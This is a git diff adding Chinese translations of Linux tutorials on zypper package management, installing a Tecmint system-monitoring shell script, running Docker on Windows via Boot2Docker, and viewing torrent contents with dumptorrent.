+    Continue? [y/n/? shows all options] (y): y
+    Retrieving package libasan0-4.8.3+r212056-2.2.4.x86_64                                                                                                  (1/13),  74.2 KiB (166.9 KiB unpacked)
+    Retrieving: libasan0-4.8.3+r212056-2.2.4.x86_64.rpm .......................................................................................................................[done (79.2 KiB/s)]
+    Retrieving package libatomic1-gcc49-4.9.0+r211729-2.1.7.x86_64                                                                                          (2/13),  14.3 KiB ( 26.1 KiB unpacked)
+    Retrieving: libatomic1-gcc49-4.9.0+r211729-2.1.7.x86_64.rpm ...............................................................................................................[done (55.3 KiB/s)] 
+ +25. 为特定的CPU架构安装指定版本号的软件包(以兼容 i586 且版本低于5.1的 gcc 为例) + +
# zypper in 'gcc.i586<5.1'
+    Loading repository data...
+    Reading installed packages...
+    Resolving package dependencies...
+
+    The following 13 NEW packages are going to be installed:
+      cpp cpp48 gcc gcc48 libasan0 libatomic1-gcc49 libcloog-isl4 libgomp1-gcc49 libisl10 libitm1-gcc49 libmpc3 libmpfr4 libtsan0-gcc49
+
+    13 new packages to install.
+    Overall download size: 14.4 MiB. Already cached: 129.5 KiB  After the operation, additional 49.4 MiB will be used.
+    Continue? [y/n/? shows all options] (y): y
+    In cache libasan0-4.8.3+r212056-2.2.4.x86_64.rpm                                                                                                        (1/13),  74.2 KiB (166.9 KiB unpacked)
+    In cache libatomic1-gcc49-4.9.0+r211729-2.1.7.x86_64.rpm                                           (2/13),  14.3 KiB ( 26.1 KiB unpacked)
+    In cache libgomp1-gcc49-4.9.0+r211729-2.1.7.x86_64.rpm                                             (3/13),  41.1 KiB ( 90.7 KiB unpacked) 
+ +26. 从指定的软件库里面安装一个软件包,例如从 amarok 中安装 libxine。 + +
# zypper in amarok upd:libxine1
+    Loading repository data...
+    Reading installed packages...
+    Resolving package dependencies...
+    The following 202 NEW packages are going to be installed:
+      amarok bundle-lang-kde-en clamz cups-libs enscript fontconfig gdk-pixbuf-query-loaders ghostscript-fonts-std gptfdisk gstreamer gstreamer-plugins-base hicolor-icon-theme
+      hicolor-icon-theme-branding-openSUSE htdig hunspell hunspell-tools icoutils ispell ispell-american kde4-filesystem kdebase4-runtime kdebase4-runtime-branding-openSUSE kdelibs4
+      kdelibs4-branding-openSUSE kdelibs4-core kdialog libakonadi4 l
+    .....
+ +27. 通过指定软件包的名字安装软件包。 + +
# zypper in -n git
+    Loading repository data...
+    Reading installed packages...
+    Resolving package dependencies...
+
+    The following 35 NEW packages are going to be installed:
+      cvs cvsps fontconfig git git-core git-cvs git-email git-gui gitk git-svn git-web libserf-1-1 libsqlite3-0 libXft2 libXrender1 libXss1 perl-Authen-SASL perl-Clone perl-DBD-SQLite perl-DBI
+      perl-Error perl-IO-Socket-SSL perl-MLDBM perl-Net-Daemon perl-Net-SMTP-SSL perl-Net-SSLeay perl-Params-Util perl-PlRPC perl-SQL-Statement perl-Term-ReadKey subversion subversion-perl tcl
+      tk xhost
+
+    The following 13 recommended packages were automatically selected:
+      git-cvs git-email git-gui gitk git-svn git-web perl-Authen-SASL perl-Clone perl-MLDBM perl-Net-Daemon perl-Net-SMTP-SSL perl-PlRPC perl-SQL-Statement
+
+    The following package is suggested, but will not be installed:
+      git-daemon
+
+    35 new packages to install.
+    Overall download size: 15.6 MiB. Already cached: 0 B  After the operation, additional 56.7 MiB will be used.
+    Continue? [y/n/? shows all options] (y): y 
+ +28. 通过通配符来安装软件包,例如,安装所有 php5 的软件包。 + +
# zypper in php5*
+    Loading repository data...
+    Reading installed packages...
+    Resolving package dependencies...
+
+    Problem: php5-5.6.1-18.1.x86_64 requires smtp_daemon, but this requirement cannot be provided
+      uninstallable providers: exim-4.83-3.1.8.x86_64[openSUSE-13.2-0]
+                       postfix-2.11.0-5.2.2.x86_64[openSUSE-13.2-0]
+                       sendmail-8.14.9-2.2.2.x86_64[openSUSE-13.2-0]
+                       exim-4.83-3.1.8.i586[repo-oss]
+                       msmtp-mta-1.4.32-2.1.3.i586[repo-oss]
+                       postfix-2.11.0-5.2.2.i586[repo-oss]
+                       sendmail-8.14.9-2.2.2.i586[repo-oss]
+                       exim-4.83-3.1.8.x86_64[repo-oss]
+                       msmtp-mta-1.4.32-2.1.3.x86_64[repo-oss]
+                       postfix-2.11.0-5.2.2.x86_64[repo-oss]
+                       sendmail-8.14.9-2.2.2.x86_64[repo-oss]
+                       postfix-2.11.3-5.5.1.i586[repo-update]
+                       postfix-2.11.3-5.5.1.x86_64[repo-update]
+     Solution 1: Following actions will be done:
+      do not install php5-5.6.1-18.1.x86_64
+      do not install php5-pear-Auth_SASL-1.0.6-7.1.3.noarch
+      do not install php5-pear-Horde_Http-2.0.1-6.1.3.noarch
+      do not install php5-pear-Horde_Image-2.0.1-6.1.3.noarch
+      do not install php5-pear-Horde_Kolab_Format-2.0.1-6.1.3.noarch
+      do not install php5-pear-Horde_Ldap-2.0.1-6.1.3.noarch
+      do not install php5-pear-Horde_Memcache-2.0.1-7.1.3.noarch
+      do not install php5-pear-Horde_Mime-2.0.2-6.1.3.noarch
+      do not install php5-pear-Horde_Oauth-2.0.0-6.1.3.noarch
+      do not install php5-pear-Horde_Pdf-2.0.1-6.1.3.noarch
+    ....
+ +29. 使用模式名称(模式名称是一类软件包的名字)来批量安装软件包。 + +
# zypper in -t pattern lamp_server
+    ading repository data...
+    Reading installed packages...
+    Resolving package dependencies...
+
+    The following 29 NEW packages are going to be installed:
+      apache2 apache2-doc apache2-example-pages apache2-mod_perl apache2-prefork patterns-openSUSE-lamp_server perl-Data-Dump perl-Encode-Locale perl-File-Listing perl-HTML-Parser
+      perl-HTML-Tagset perl-HTTP-Cookies perl-HTTP-Daemon perl-HTTP-Date perl-HTTP-Message perl-HTTP-Negotiate perl-IO-HTML perl-IO-Socket-SSL perl-libwww-perl perl-Linux-Pid
+      perl-LWP-MediaTypes perl-LWP-Protocol-https perl-Net-HTTP perl-Net-SSLeay perl-Tie-IxHash perl-TimeDate perl-URI perl-WWW-RobotRules yast2-http-server
+
+    The following NEW pattern is going to be installed:
+      lamp_server
+
+    The following 10 recommended packages were automatically selected:
+      apache2 apache2-doc apache2-example-pages apache2-mod_perl apache2-prefork perl-Data-Dump perl-IO-Socket-SSL perl-LWP-Protocol-https perl-TimeDate yast2-http-server
+
+    29 new packages to install.
+    Overall download size: 7.2 MiB. Already cached: 1.2 MiB  After the operation, additional 34.7 MiB will be used.
+    Continue? [y/n/? shows all options] (y): 
+ +30. 使用一行命令安装一个软件包同时卸载另一个软件包,例如在安装 nano 的同时卸载 vi + +
# zypper in nano -vi
+    Loading repository data...
+    Reading installed packages...
+    '-vi' not found in package names. Trying capabilities.
+    Resolving package dependencies...
+
+    The following 2 NEW packages are going to be installed:
+      nano nano-lang
+
+    The following package is going to be REMOVED:
+      vim
+
+    The following recommended package was automatically selected:
+      nano-lang
+
+    2 new packages to install, 1 to remove.
+    Overall download size: 550.0 KiB. Already cached: 0 B  After the operation, 463.3 KiB will be freed.
+    Continue? [y/n/? shows all options] (y):
+    ...
+ +31. 使用 zypper 安装 rpm 软件包。 + +
# zypper in teamviewer*.rpm
+    Loading repository data...
+    Reading installed packages...
+    Resolving package dependencies...
+
+    The following 24 NEW packages are going to be installed:
+      alsa-oss-32bit fontconfig-32bit libasound2-32bit libexpat1-32bit libfreetype6-32bit libgcc_s1-gcc49-32bit libICE6-32bit libjpeg62-32bit libpng12-0-32bit libpng16-16-32bit libSM6-32bit
+      libuuid1-32bit libX11-6-32bit libXau6-32bit libxcb1-32bit libXdamage1-32bit libXext6-32bit libXfixes3-32bit libXinerama1-32bit libXrandr2-32bit libXrender1-32bit libXtst6-32bit
+      libz1-32bit teamviewer
+
+    The following recommended package was automatically selected:
+      alsa-oss-32bit
+
+    24 new packages to install.
+    Overall download size: 41.2 MiB. Already cached: 0 B  After the operation, additional 119.7 MiB will be used.
+    Continue? [y/n/? shows all options] (y):
+    ..
+ +#### 使用 zypper 卸载软件包 #### + +32. 命令 ‘zypper remove‘ 和 ‘zypper rm‘ 用于卸载软件包。例如卸载 apache2: + +
# zypper remove apache2 
+ 或者 +
# zypper rm apache2
+    Loading repository data...
+    Reading installed packages...
+    Resolving package dependencies...
+
+    The following 2 packages are going to be REMOVED:
+      apache2 apache2-prefork
+
+    2 packages to remove.
+    After the operation, 4.2 MiB will be freed.
+    Continue? [y/n/? shows all options] (y): y
+    (1/2) Removing apache2-2.4.10-19.1 ........................................................................[done]
+    (2/2) Removing apache2-prefork-2.4.10-19.1 ................................................................[done] 
+ +#### 使用Zypper 进行软件包更新 #### + +33. 更新所有的软件包,可以使用 ‘zypper update‘ 或者 ‘zypper up‘。 + +
# zypper up 
+ 或者 +
# zypper update
+
+    Loading repository data...
+    Reading installed packages...
+    Nothing to do. 
+ +34. 更新指定的软件包,例如更新 apache2 以及 openssh。 + +
 zypper up apache2 openssh
+    Loading repository data...
+    Reading installed packages...
+    No update candidate for 'apache2-2.4.10-19.1.x86_64'. The highest available version is already installed.
+    No update candidate for 'openssh-6.6p1-5.1.3.x86_64'. The highest available version is already installed.
+    Resolving package dependencies...
+
+    Nothing to do.
+ +35. 安装一个软件库,例如 mariadb,如果该库存在则更新之。 + +
# zypper in mariadb
+    Loading repository data...
+    Reading installed packages...
+    'mariadb' is already installed.
+    No update candidate for 'mariadb-10.0.13-2.6.1.x86_64'. The highest available version is already installed.
+    Resolving package dependencies...
+
+    Nothing to do.
+ +#### 安装源文件并且构建依赖关系 #### + +命令 ‘zypper source-install‘ 或者 ‘zypper si‘ 可以用于从源文件编译软件包 + +36. 安装某一个软件包的源文件及其依赖关系,例如 mariadb。 + +
# zypper si mariadb
+    Reading installed packages...
+    Loading repository data...
+    Resolving package dependencies...
+
+    The following 36 NEW packages are going to be installed:
+      autoconf automake bison cmake cpp cpp48 gcc gcc48 gcc48-c++ gcc-c++ libaio-devel libarchive13 libasan0 libatomic1-gcc49 libcloog-isl4 libedit-devel libevent-devel libgomp1-gcc49 libisl10
+      libitm1-gcc49 libltdl7 libmpc3 libmpfr4 libopenssl-devel libstdc++48-devel libtool libtsan0-gcc49 m4 make ncurses-devel pam-devel readline-devel site-config tack tcpd-devel zlib-devel
+
+    The following source package is going to be installed:
+      mariadb
+
+    36 new packages to install, 1 source package.
+    Overall download size: 71.5 MiB. Already cached: 129.5 KiB  After the operation, additional 183.9 MiB will be used.
+    Continue? [y/n/? shows all options] (y): y 
+ +37. 仅为某一个软件包安装源文件,例如 mariadb + +
# zypper in -D mariadb
+    Loading repository data...
+    Reading installed packages...
+    'mariadb' is already installed.
+    No update candidate for 'mariadb-10.0.13-2.6.1.x86_64'. The highest available version is already installed.
+    Resolving package dependencies...
+
+    Nothing to do. 
+ +38. 仅为某一个软件包安装依赖关系,例如 mariadb + +
# zypper si -d mariadb
+    Reading installed packages...
+    Loading repository data...
+    Resolving package dependencies...
+
+    The following 36 NEW packages are going to be installed:
+      autoconf automake bison cmake cpp cpp48 gcc gcc48 gcc48-c++ gcc-c++ libaio-devel libarchive13 libasan0 libatomic1-gcc49 libcloog-isl4 libedit-devel libevent-devel libgomp1-gcc49 libisl10
+      libitm1-gcc49 libltdl7 libmpc3 libmpfr4 libopenssl-devel libstdc++48-devel libtool libtsan0-gcc49 m4 make ncurses-devel pam-devel readline-devel site-config tack tcpd-devel zlib-devel
+
+    The following package is recommended, but will not be installed due to conflicts or dependency issues:
+      readline-doc
+
+    36 new packages to install.
+    Overall download size: 33.7 MiB. Already cached: 129.5 KiB  After the operation, additional 144.3 MiB will be used.
+    Continue? [y/n/? shows all options] (y): y
+ +#### 在脚本和应用中调用 Zypper (非交互式) #### + +39. 安装一个软件包,并且在安装过程中跳过与用户的交互, 例如 mariadb。 + +
# zypper --non-interactive in mariadb
+    Loading repository data...
+    Reading installed packages...
+    'mariadb' is already installed.
+    No update candidate for 'mariadb-10.0.13-2.6.1.x86_64'. The highest available version is already installed.
+    Resolving package dependencies...
+
+    Nothing to do.
+ +40. 卸载一个软件包,并且在卸载过程中跳过与用户的交互,例如 mariadb + +
# zypper --non-interactive rm mariadb
+    Loading repository data...
+    Reading installed packages...
+    Resolving package dependencies...
+
+    The following package is going to be REMOVED:
+      mariadb
+
+    1 package to remove.
+    After the operation, 71.8 MiB will be freed.
+    Continue? [y/n/? shows all options] (y): y
+    (1/1) Removing mariadb-10.0.13-2.6.1 .............................................................................[done] 
+ +41. 以 XML 格式显示 zypper 的输出。 + +
# zypper --xmlout
+      Usage:
+    	zypper [--global-options]  [--command-options] [arguments]
+
+      Global Options
+    ....
+ +42. 在安装过程中禁止详细信息输出到屏幕。 + +
# zypper --quiet in mariadb
+    The following NEW package is going to be installed:
+      mariadb
+
+    1 new package to install.
+    Overall download size: 0 B. Already cached: 7.8 MiB  After the operation, additional 71.8 MiB will be used.
+    Continue? [y/n/? shows all options] (y):
+    ...
+ +43. 在卸载过程中禁止详细信息输出到屏幕 + +
# zypper --quiet rm mariadb 
+ +44. 自动地同意版权或者协议。 + +
# zypper patch --auto-agree-with-licenses
+    Loading repository data...
+    Reading installed packages...
+    Resolving package dependencies...
+
+    Nothing to do.
+ +#### 清除 Zypper 缓存以及查看历史信息 #### + +45. 以下指令可以用来清理Zypper缓存。 + +
# zypper clean
+    All repositories have been cleaned up.
+ +如果需要一次性地清理元数据以及软件包缓存,可以通过 -all 或 -a 选项来达到目的 + +
# zypper clean -a
+    All repositories have been cleaned up.
+ +46. 查看 Zypper 的历史信息。任何通过 Zypper 进行的软件包管理动作,包括安装、更新以及卸载都会在 /var/log/zypp/history中保留历史信息。可以通过 cat 来查看此文件,或者通过过滤器来筛选希望看到的信息。 + +
 cat /var/log/zypp/history
+    2015-05-07 15:43:03|install|boost-license1_54_0|1.54.0-10.1.3|noarch||openSUSE-13.2-0|0523b909d2aae5239f9841316dafaf3a37b4f096|
+    2015-05-07 15:43:03|install|branding-openSUSE|13.2-3.6.1|noarch||openSUSE-13.2-0|6609def94b1987bf3f90a9467f4f7ab8f8d98a5c|
+    2015-05-07 15:43:03|install|bundle-lang-common-en|13.2-3.3.1|noarch||openSUSE-13.2-0|ca55694e6fdebee6ce37ac7cf3725e2aa6edc342|
+    2015-05-07 15:43:03|install|insserv-compat|0.1-12.2.2|noarch||openSUSE-13.2-0|6160de7fbf961a279591a83a1550093a581214d9|
+    2015-05-07 15:43:03|install|libX11-data|1.6.2-5.1.2|noarch||openSUSE-13.2-0|f1cb58364ba9016c1f93b1a383ba12463c56885a|
+    2015-05-07 15:43:03|install|libnl-config|3.2.25-2.1.2|noarch||openSUSE-13.2-0|aab2ded312a781e93b739b418e3d32fe4e187020|
+    2015-05-07 15:43:04|install|wireless-regdb|2014.06.13-1.2|noarch||openSUSE-13.2-0|be8cb16f3e92af12b5ceb977e37e13f03c007bd1|
+    2015-05-07 15:43:04|install|yast2-trans-en_US|3.1.0-2.1|noarch||openSUSE-13.2-0|1865754e5e0ec3c149ac850b340bcca55a3c404d|
+    2015-05-07 15:43:04|install|yast2-trans-stats|2.19.0-16.1.3|noarch||openSUSE-13.2-0|b107d2b3e702835885b57b04d12d25539f262d1a|
+    2015-05-07 15:43:04|install|cracklib-dict-full|2.8.12-64.1.2|x86_64||openSUSE-13.2-0|08bd45dbba7ad44e3a4837f730be76f55ad5dcfa|
+    ......
+ +#### 使用 Zypper 进行SUSE系统升级 #### + +47. 可以使用 Zypper 命令的 'dist-upgrade' 选项来将当前的 SUSE Linux 升级至最新版本。 + +
# zypper dist-upgrade
+    You are about to do a distribution upgrade with all enabled repositories. Make sure these repositories are compatible before you continue. See 'man zypper' for more information about this command.
+    Building repository 'openSUSE-13.2-0' cache .....................................................................[done]
+    Retrieving repository 'openSUSE-13.2-Debug' metadata ............................................................[done]
+    Building repository 'openSUSE-13.2-Debug' cache .................................................................[done]
+    Retrieving repository 'openSUSE-13.2-Non-Oss' metadata ..........................................................[done]
+    Building repository 'openSUSE-13.2-Non-Oss' cache ...............................................................[done]
+ +正文至此结束。希望本文可以帮助读者尤其是新手们管理SUSE Linux系统和服务器。如果您觉得某些比较重要的命令被作者漏掉了,请在评论部分写下您的返回,作者将根据评论对文章进行更新。保持联络,保持评论,多谢支持。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/zypper-commands-to-manage-suse-linux-package-management/ + +作者:[Avishek Kumar][a] +译者:[张博约](https://github.com/zhangboyue) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/installation-of-suse-linux-enterprise-server-12/ diff --git a/published/201506/20150512 A Shell Script to Monitor Network, Disk Usage, Uptime, Load Average and RAM Usage in Linux.md b/published/201506/20150512 A Shell Script to Monitor Network, Disk Usage, Uptime, Load Average and RAM Usage in Linux.md new file mode 100644 index 0000000000..723cf72ddf --- /dev/null +++ b/published/201506/20150512 A Shell Script to Monitor Network, Disk Usage, Uptime, Load Average and RAM Usage in Linux.md @@ -0,0 +1,97 @@ +一个Linux中用于监控的简易shell脚本 +================================================================================ +系统管理员的任务真的很艰难,因为他/她必须监控服务器、用户、日志,还得创建备份,等等等等。对于大多数重复性的任务,大多数管理员都会写一个自动化脚本来日复一日地重复这些任务。这里,我们已经写了一个shell脚本给大家,用来自动化完成系统管理员所要完成的常规任务,这可能在多数情况下,尤其是对于新手而言十分有用,他们能通过该脚本获取到大多数的他们想要的信息,包括系统、网络、用户、负载、内存、主机、内部IP、外部IP、开机时间等。 + +我们已经注意并进行了格式化输出(在一定程度上哦)。此脚本不包含任何恶意内容,并且它能以普通用户帐号运行。事实上,我们也推荐你以普通用户运行该脚本,而不是root。 + +![Linux Server Health Monitoring](http://www.tecmint.com/wp-content/uploads/2015/05/Linux-Health-Monitoring.png) + +*监控Linux系统健康的Shell脚本* + +在保留Tecmint和脚本作者应得荣誉的前提下,可以自由使用/修改/再分发下面代码。我们已经试着在一定程度上自定义了输出结果,除了要求的输出内容外,其它内容都不会生成。我们也已经试着使用了那些Linux系统中通常不使用的变量,这些变量应该是可以随便用的。 + +#### 最小系统要求 #### + +你所需要的一切,就是一台正常运转的Linux机器。 + +#### 依赖性 #### + +对于一个标准的Linux发行版,使用此软件包不需任何依赖。此外,该脚本不需要root权限来执行。但是,如果你想要安装,则必须输入一次root密码。 + +#### 安全性 #### + +我们也关注到了系统安全问题,所以在安装此包时,不需要安装任何额外包,也不需要root访问权限来运行。此外,源代码是采用Apache 2.0许可证发布的,这意味着只要你保留Tecmint的版权,你可以自由地编辑、修改并再分发该代码。 + +### 如何安装和运行脚本? ### + +首先,使用[wget命令][1]下载监控脚本`“tecmint_monitor.sh”`,给它赋予合适的执行权限。 + + # wget http://tecmint.com/wp-content/scripts/tecmint_monitor.sh + # chmod 755 tecmint_monitor.sh + +强烈建议你以普通用户身份安装该脚本,而不是root。安装过程中会询问root密码,并且在需要的时候安装必要的组件。 + +要安装“`tecmint_monitor.sh`”脚本,只需像下面这样使用-i(安装)选项就可以了。 + + ./tecmint_monitor.sh -i + +在提示你输入root密码时输入该密码。如果一切顺利,你会看到像下面这样的安装成功信息。 + + Password: + Congratulations! Script Installed, now run monitor Command + +安装完毕后,你可以在任何位置,以任何用户调用命令`‘monitor’`来运行该脚本。如果你不喜欢安装,你需要在每次运行时输入路径。 + + # ./Path/to/script/tecmint_monitor.sh + +现在,以任何用户从任何地方运行monitor命令,就是这么简单: + + $ monitor + +![TecMint Monitor Script in Action](http://www.tecmint.com/wp-content/uploads/2015/05/TecMint-Monitor-Script.gif) + +你运行命令就会获得下面这些各种各样和系统相关的信息: + +- 互联网连通性 +- 操作系统类型 +- 操作系统名称 +- 操作系统版本 +- 架构 +- 内核版本 +- 主机名 +- 内部IP +- 外部IP +- 域名服务器 +- 已登录用户 +- 内存使用率 +- 交换分区使用率 +- 磁盘使用率 +- 平均负载 +- 系统开机时间 + +使用-v(版本)开关来检查安装的脚本的版本。 + + $ monitor -v + + tecmint_monitor version 0.1 + Designed by Tecmint.com + Released Under Apache 2.0 License + +### 小结 ### + +该脚本在一些机器上可以开机即用,这一点我已经检查过。相信对于你而言,它也会正常工作。如果你们发现了什么毛病,可以在评论中告诉我。这个脚本还不完善,这仅仅是个开始。从这里开始,你可以将它改进到任何程度。如果你想要编辑脚本,将它带入一个更深的层次,尽管随意去做吧,别忘了给我们应的的荣誉,也别忘了把你更新后的脚本拿出来和我们分享哦,这样,我们也会更新此文来给你应得的荣誉。 + +别忘了和我们分享你的想法或者脚本,我们会在这儿帮助你。谢谢你们给予的所有挚爱。继续浏览,不要走开哦。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/linux-server-health-monitoring-script/ + +作者:[Avishek Kumar][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/10-wget-command-examples-in-linux/ diff --git a/published/201506/20150512 How To Run Docker Client Inside Windows OS.md b/published/201506/20150512 How To Run Docker Client Inside Windows OS.md new file mode 100644 index 0000000000..050ed636f3 --- /dev/null +++ b/published/201506/20150512 How To Run Docker Client Inside Windows OS.md @@ -0,0 +1,110 @@ +如何在 Windows 操作系统中运行 Docker 客户端 +================================================================================ + +大家好,今天我们来了解一下 Windows 操作系统中的 Docker 以及在其中安装 Docker Windows 客户端的知识。Docker 引擎使用 Linux 特有的内核特性,因此不能通过 Windows 内核运行,所以,(在 Windows 上)Docker 引擎创建了一个小的虚拟系统运行 Linux 并利用它的资源和内核。这样,Windows Docker 客户端就可以用这个虚拟的 Docker 引擎来构建、运行以及管理 Docker 容器。有个叫 Boot2Docker 的团队开发了一个同名的应用程序,它创建了一个虚拟机来运行基于[Tiny Core Linux][1]特制的小型 Linux,来在 Windows 上运行 [Docker][2] 容器。它完全运行在内存中,需要大约 27M 内存并能在 5秒 (因人而异) 内启动。因此,在用于 Windows 的 Docker 引擎被开发出来之前,我们在 Windows 机器里只能运行 Linux 容器。 + +下面是安装 Docker 客户端并在上面运行容器的简单步骤。 + +### 1. 下载 Boot2Docker ### + +在我们开始安装之前,我们需要 Boot2Docker 的可执行文件。可以从 [它的 Github][3] 下载最新版本的 Boot2Docker。在这篇指南中,我们从网站中下载版本 v1.6.1。我们从那网页中用我们喜欢的浏览器或者下载管理器下载了名为 [docker-install.exe][4] 的文件。 + +![](http://blog.linoxide.com/wp-content/uploads/2015/05/downloading-boot2docker-installer.png) + +### 2. 安装 Boot2Docker ### + +现在我们运行安装文件,它会安装 Window Docker 客户端、用于 Windows 的 Git(MSYS-git)、VirtualBox、Boot2Docker Linux ISO 以及 Boot2Docker 管理工具,这些对于开箱即用地运行全功能的 Docker 引擎都至关重要。 + +![](http://blog.linoxide.com/wp-content/uploads/2015/05/boot2docker-installer.png) + +### 3. 运行 Boot2Docker ### + +![](http://blog.linoxide.com/wp-content/uploads/2015/05/boot2docker-start-icon-e1431322598697.png) + +安装完成必要的组件之后,我们从桌面上的“Boot2Docker Start”快捷方式启动 Boot2Docker。它会要求你输入以后用于验证的 SSH 密钥。然后会启动一个配置好的用于管理在虚拟机中运行的 Docker 的 unix shell。 + +![](http://blog.linoxide.com/wp-content/uploads/2015/05/starting-boot2docker.png) + +为了检查是否正确配置,运行下面的 docker version 命令。 + + docker version + +![](http://blog.linoxide.com/wp-content/uploads/2015/05/docker-version.png) + +### 4. 运行 Docker ### + +由于 **Boot2Docker Start** 自动启动了一个已经正确设置好环境变量的 shell,我们可以马上开始使用 Docker。**请注意,如果我们要将 Boot2Docker 作为一个远程 Docker 守护进程,那么不要在 docker 命令之前加 sudo。** + +现在,让我们来试试 **hello-world** 例子镜像,它会下载 hello-world 镜像,运行并输出 "Hello from Docker" 信息。 + + $ docker run hello-world + +![](http://blog.linoxide.com/wp-content/uploads/2015/05/running-hello-world.png) + +### 5. 使用命令提示符(CMD) 运行 Docker### + +现在,如果你想开始用命令提示符使用 Docker,你可以打开命令提示符(CMD.exe)。由于 Boot2Docker 要求 ssh.exe 在 PATH 中,我们需要在命令提示符中输入以下命令使得 %PATH% 环境变量中包括 Git 安装目录下的 bin 文件夹。 + + set PATH=%PATH%;"c:\Program Files (x86)\Git\bin" + +![](http://blog.linoxide.com/wp-content/uploads/2015/05/docker-in-cmd.png) + +运行上面的命令之后,我们可以在命令提示符中运行 **boot2docker start** 启动 Boot2Docker 虚拟机。 + + boot2docker start + +![](http://blog.linoxide.com/wp-content/uploads/2015/05/docker-cmd-variables.png) + +**注意**: 如果你看到 machine does no exist 的错误信息,就运行 **boot2docker init** 命令。 + +然后复制上图中控制台标出命令到 cmd.exe 中为控制台窗口设置环境变量,然后我们就可以像平常一样运行 docker 容器了。 + +### 6. 使用 PowerShell 运行 Docker ### + +为了能在 PowerShell 中运行 Docker,我们需要启动一个 PowerShell 窗口并添加 ssh.exe 到 PATH 变量。 + + $Env:Path = "${Env:Path};c:\Program Files (x86)\Git\bin" + +运行完上面的命令,我们还需要运行 + + boot2docker start + +![](http://blog.linoxide.com/wp-content/uploads/2015/05/docker-in-powershell.png) + +这会打印用于设置环境变量连接到虚拟机内部运行的 Docker 的 PowerShell 命令。我们只需要在 PowerShell 中运行这些命令就可以和平常一样运行 docker 容器。 + +### 7. 用 PUTTY 登录 ### + +Boot2Docker 会在%USERPROFILE%\.ssh 目录生成和使用用于登录的公共和私有密钥,我们也需要使用这个文件夹中的私有密钥。私有密钥需要转换为 PuTTY 的格式。我们可以通过 puttygen.exe 实现。 + +我们需要打开 puttygen.exe 并从 %USERPROFILE%\.ssh\id_boot2docker 中导入("File"->"Load" 菜单)私钥,然后点击 "Save Private Key"。然后用保存的文件通过 PuTTY 用 docker@127.0.0.1:2022 登录。 + +### 8. Boot2Docker 选项 ### + +Boot2Docker 管理工具提供了一些命令,如下所示。 + + $ boot2docker + + Usage: boot2docker.exe [] {help|init|up|ssh|save|down|poweroff|reset|restart|config|status|info|ip|shellinit|delete|download|upgrade|version} [] + +### 总结 ### + +通过 Docker Windows 客户端使用 Docker 很有趣。Boot2Docker 管理工具是一个能使任何 Docker 容器能像在 Linux 主机上平滑运行的很棒的应用程序。如果你更仔细的话,你会发现 boot2docker 默认用户的用户名是 docker,密码是 tcuser。最新版本的 boot2docker 设置了一个 host-only 的网络适配器提供访问容器的端口。一般来说是 192.168.59.103,但可以通过 VirtualBox 的 DHCP 实现改变。 + +如果你有任何问题、建议、反馈,请在下面的评论框中写下来然后我们可以改进或者更新我们的内容。非常感谢!Enjoy:-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/run-docker-client-inside-windows-os/ + +作者:[Arun Pyasi][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:http://tinycorelinux.net/ +[2]:https://www.docker.io/ +[3]:https://github.com/boot2docker/windows-installer/releases/latest +[4]:https://github.com/boot2docker/windows-installer/releases/download/v1.6.1/docker-install.exe \ No newline at end of file diff --git a/published/201506/20150512 Linux FAQs with Answers--How to view torrent file content on Linux.md b/published/201506/20150512 Linux FAQs with Answers--How to view torrent file content on Linux.md new file mode 100644 index 0000000000..8f2a9c2ecd --- /dev/null +++ b/published/201506/20150512 Linux FAQs with Answers--How to view torrent file content on Linux.md @@ -0,0 +1,63 @@ +Linux有问必答:Linux上如何查看种子文件的内容 +================================================================================ +> **问题**: 我从网站上下载了一个torrent(种子)文件。Linux上有没有工具让我查看torrent文件的内容?例如,我想知道torrent里面都包含什么文件。 + +torrent文件(也就是扩展名为**.torrent**的文件)是BitTorrent元数据文件,里面存储了BitTorrent客户端用来从BitTorrent点对点网络下载共享文件的信息(如,追踪器URL、文件列表、大小、校验和、创建日期等)。在单个torrent文件里面,可以列出一个或多个文件用于共享。 + +torrent文件内容由BEncode编码为BitTorrent数据序列化格式,因此,要查看torrent文件的内容,你需要相应的解码器。 + +事实上,任何图形化的BitTorrent客户端(如Transmission或uTorrent)都带有BEncode解码器,所以,你可以用它们直接打开来查看torrent文件的内容。然而,如果你不想要使用BitTorrent客户端来检查torrent文件,你可以试试这个命令行torrent查看器,它叫[dumptorrent][1]。 + +**dumptorrent**命令可以使用内建的BEncode解码器打印出torrent文件的详细信息(如,文件名、大小、跟踪器URL、创建日期、信息散列等等)。 + +### 安装DumpTorrent到Linux ### + +要安装dumptorrent到Linux,你可以从源代码来构建它。 + +在Debian、Ubuntu或Linux Mint上: + + $ sudo apt-get install gcc make + $ wget http://downloads.sourceforge.net/project/dumptorrent/dumptorrent/1.2/dumptorrent-1.2.tar.gz + $ tar -xvf dumptorrent-1.2.tar.gz + $ cd dumptorrent-1.2 + $ make + $ sudo cp dumptorrent /usr/local/bin + +在CentOS、Fedora或RHEL上: + + $ sudo yum install gcc make + $ wget http://downloads.sourceforge.net/project/dumptorrent/dumptorrent/1.2/dumptorrent-1.2.tar.gz + $ tar -xvf dumptorrent-1.2.tar.gz + $ cd dumptorrent-1.2 + $ make + $ sudo cp dumptorrent /usr/local/bin + +确保你的搜索路径 PATH 中[包含][2]了/usr/local/bin。 + +### 查看torrent的内容 ### + +要检查torrent的内容,只需要运行dumptorrent,并将torrent文件作为参数执行。这会打印出torrent的概要,包括文件名、大小和跟踪器URL。 + + $ dumptorrent + +![](https://farm8.staticflickr.com/7729/16816455904_b051e29972_b.jpg) + +要查看torrent的完整内容,请添加“-v”选项。它会打印更多关于torrent的详细信息,包括信息散列、片长度、创建日期、创建者,以及完整的声明列表。 